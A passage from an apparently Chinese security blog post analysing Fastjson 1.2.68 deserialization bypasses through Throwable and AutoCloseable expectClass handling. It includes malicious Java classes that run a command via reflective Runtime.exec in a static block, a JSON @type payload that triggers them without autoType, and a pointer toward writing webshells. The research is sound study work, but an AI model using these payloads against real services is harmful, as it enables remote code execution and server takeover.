public class ThrowableEvil extends Throwable{ static { try { Class runtime = Class.forName("java.lang.Runtime"); Method exec = runtime.getMethod("exec", String.class); Method getRuntime = runtime.getMethod("getRuntime"); Object r = getRuntime.invoke(runtime); exec.invoke(r, "calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }
|

这样就能成功利用了,但是实际上根本不存在这样的类去让我们创建,利用条件:
- 限定了可以利用的类必须是Throwable的子类,不过异常类很少使用高危函数。
- 需要开启ATS,更鸡肋了,随便找个不在黑名单的类都可以利用了
所以说很难利用。
JavaBeanDeserializer
在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,就会返回JavaBeanDeserializer
创建一个接口Test,并且写一个Test1实现这个接口,这个跟刚才那个差不多,也是第二个@type为第一个的实现,就能实例化第二个类

这个类跟刚才那个不同的是,这个应用更广泛,只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;最好是可以绕过autoTypeSupport。找到了java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport也可以用。
本地编写一个恶意类,实现java.lang.AutoCloseable
接口
AutoCloseableEvil
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import java.lang.reflect.Method;
public class AutoCloseableEvil implements AutoCloseable{ static { try { Class runtime = Class.forName("java.lang.Runtime"); Method exec = runtime.getMethod("exec", String.class); Method getRuntime = runtime.getMethod("getRuntime"); Object r = getRuntime.invoke(runtime); exec.invoke(r, "calc.exe"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void close() throws Exception {
} }
|
payload(未开启ATS)
1
| {"@type":"java.lang.AutoCloseable", "@type":"AutoCloseableEvil"}
|


虽然能利用了,但是这几行基本杜绝了JNDI注入的风险,只能另寻出路。
在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。
由此 fastjson 漏洞利用思路从命令执行、JNDI 转为了写文件,在实战情况下,还是可以写入 webshell 拿到权限,因此这个思路成为了 68 版本之后 fastjson 中挖掘漏洞的新思路。
总结
其中JSON.parse
和JSON.parseObject()
的区别是:
1、JSON.parse()
返回的结果是Object
对象,在使用@type
指定类的时候,会获取@type
指定的类并且调用该类的setter
方法
1 2
| String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; Object user = JSON.parse(jsonstr);
|

2、JSON.parseObject()
返回的结果是JSONObject
对象,在第二个参数中可以指定返回的对象类型,同时也会调用该类的setter方法
1 2
| String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; User user = JSON.parseObject(jsonstr,User.class);
|

3、JSON.parseObject()
使用了@type
获取指定类的时候,就会同时调用getter
和setter
方法。
1 2
| String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; JSONObject parse = JSON.parseObject(jsonstr);
|

参考
https://blog.csdn.net/cdyunaq/article/details/123330514
https://su18.org/post/fastjson/#8-fastjson-1268
https://su18.org/post/fastjson-1.2.68/#%E5%89%8D%E8%A8%80